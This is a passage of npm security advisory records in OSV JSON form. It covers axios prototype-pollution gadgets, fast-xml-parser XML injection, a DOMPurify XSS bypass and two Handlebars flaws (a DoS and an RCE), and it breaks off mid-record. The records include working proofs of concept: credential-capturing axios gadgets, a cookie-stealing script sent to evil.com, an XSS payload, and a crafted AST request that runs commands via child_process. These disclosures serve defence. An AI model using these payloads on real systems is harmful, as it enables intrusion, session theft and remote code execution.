{ return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log(\u0027[server] request:\u0027, req.method, req.url);\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({ role: \u0027user\u0027, balance: 100, token: \u0027tok_real_abc\u0027 }));\n});\n\nserver.listen(19003, \u0027127.0.0.1\u0027, () =\u003e {\n  console.log(\u0027[server] listening on 127.0.0.1:19003\u0027);\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash \u003c 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n  // Called for every key-value pair in every JSON response parsed by axios in this process.\n  if (key !== \u0027\u0027) {\n    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n    console.log(\u0027[exfil]\u0027, key, \u0027=\u0027, JSON.stringify(value));\n  }\n  // Tamper: escalate role, inflate balance.\n  if (key === \u0027role\u0027) return \u0027admin\u0027;\n  if (key === \u0027balance\u0027) return 999999;\n  return value;\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19003/\u0027);\nconsole.log(\u0027[app] received:\u0027, JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** \u003e= 0.19.0, \u003c= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n  transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client\u0027s process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log(\u0027[server] request:\u0027, req.method, req.url, \u0027auth:\u0027, req.headers.authorization || \u0027(none)\u0027);\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(\u0027{\"ok\":true}\u0027);\n});\n\nserver.listen(19002, \u0027127.0.0.1\u0027, () =\u003e {\n  console.log(\u0027[server] listening on 127.0.0.1:19002\u0027);\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\nimport http from \u0027http\u0027;\n\nObject.prototype.transport = {\n  request(options, handleResponse) {\n    // Intercept: called for every outbound request in this process.\n    console.log(\u0027[hijack] target:\u0027, options.hostname + \u0027:\u0027 + options.port + options.path);\n    console.log(\u0027[hijack] auth:\u0027, options.auth);\n    console.log(\u0027[hijack] headers:\u0027, JSON.stringify(options.headers));\n    // Forward to the real transport so the caller sees a normal 200.\n    return http.request(options, handleResponse);\n  },\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19002/api/users\u0027, {\n  auth: { username: \u0027svc_account\u0027, password: \u0027hunter2\u0027 },\n});\nconsole.log(\u0027[app] response status:\u0027, res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker\u0027s transport function. The request completes normally from the caller\u0027s perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker\u0027s function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config\u0027s own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: \u003e= 0.19.0, \u003c= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap[\u0027__proto__\u0027]` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027) ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n  config1[prop],\n  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n  prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, \u0027transport\u0027) \u0026\u0026 config.transport) {\n  transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.",
  "id": "GHSA-pf86-5x62-jrwf",
  "modified": "2026-05-05T00:26:30Z",
  "published": "2026-05-05T00:26:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:04:17Z",
    "nvd_published_at": "2026-05-07T15:16:07Z",
    "severity": "MODERATE"
  },
  "details": "# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `--\u003e` sequence in comment content or the `]]\u003e` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of --\u003e\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `\u003c!--${val}--\u003e` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `\u003c![CDATA[${val}]]\u003e` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from \u0027fast-xml-parser\u0027;\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n\u003croot\u003e\n  \u003c!----\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!----\u003e\n  \u003cdata\u003elegitimate content\u003c/data\u003e\n\u003c/root\u003e\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n\u003crss\u003e\n  \u003cchannel\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eArticle\u003c/title\u003e\n      \u003cdescription\u003e\n        \u003c![CDATA[Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more]]\u003e\n      \u003c/description\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n\u003csoap:Envelope\u003e\n  \u003csoap:Body\u003e\n    \u003c!--Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!----\u003e\n    \u003cAction\u003egetBalance\u003c/Action\u003e\n    \u003cUserId\u003e12345\u003c/UserId\u003e\n  \u003c/soap:Body\u003e\n\u003c/soap:Envelope\u003e\n```\n\nThe injected `\u003cAction\u003edeleteAll\u003c/Action\u003e` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `\u003cscript\u003e` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, \u0027\u0026#45;\u0026#45;\u0027);\n    return this.indentate(level) + `\u003c!--${safeVal}--\u003e` + this.newLine;\n}\n\n// For CDATA: split on ]]\u003e and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]\u003e/g, \u0027]]]]\u003e\u003c![CDATA[\u003e\u0027);\n    return this.indentate(level) + `\u003c![CDATA[${safeVal}]]\u003e` + this.newLine;\n}\n```",
  "id": "GHSA-gh4j-gqv2-49f6",
  "modified": "2026-05-08T21:47:26Z",
  "published": "2026-04-22T20:04:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41650"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.3"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.3"
            },
            {
              "fixed": "2.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-0540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:51:54Z",
    "nvd_published_at": "2026-03-03T18:16:24Z",
    "severity": "MODERATE"
  },
  "details": "DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `\u003c/noscript\u003e\u003cimg src=x onerror=alert(1)\u003e` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.",
  "id": "GHSA-v2wj-7wpq-c8vv",
  "modified": "2026-03-30T14:51:32Z",
  "published": "2026-03-03T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0540"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5"
    },
    {
      "type": "WEB",
      "url": "https://fluidattacks.com/advisories/daft"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.3.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify contains a Cross-site Scripting vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:21:15Z",
    "nvd_published_at": "2026-03-27T22:16:20Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and \u2014 when not caught by the application \u2014 crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile(\u0027{{*n}}\u0027)({});\nHandlebars.compile(\u0027{{*decorator}}\u0027)({});\nHandlebars.compile(\u0027{{*constructor}}\u0027)({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n    at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n  ```javascript\n  try {\n    const result = Handlebars.compile(userInput)(context);\n    res.send(result);\n  } catch (err) {\n    res.status(400).send(\u0027Invalid template\u0027);\n  }\n  ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing  decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled  templates; do not call `compile()` at request time.",
  "id": "GHSA-9cx6-37pm-9jff",
  "modified": "2026-03-30T20:08:14Z",
  "published": "2026-03-27T18:21:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:19:58Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.",
  "id": "GHSA-2w6w-674q-4c4q",
  "modified": "2026-03-27T21:52:17Z",
  "published": "2026-03-27T18:19:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uuid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "uuid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "uuid"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.0.0"
            },
            {
              "fixed": "13.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1285",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:53:24Z",
    "nvd_published_at": "2026-04-24T19:17:14Z",
    "severity": "MODERATE"
  },
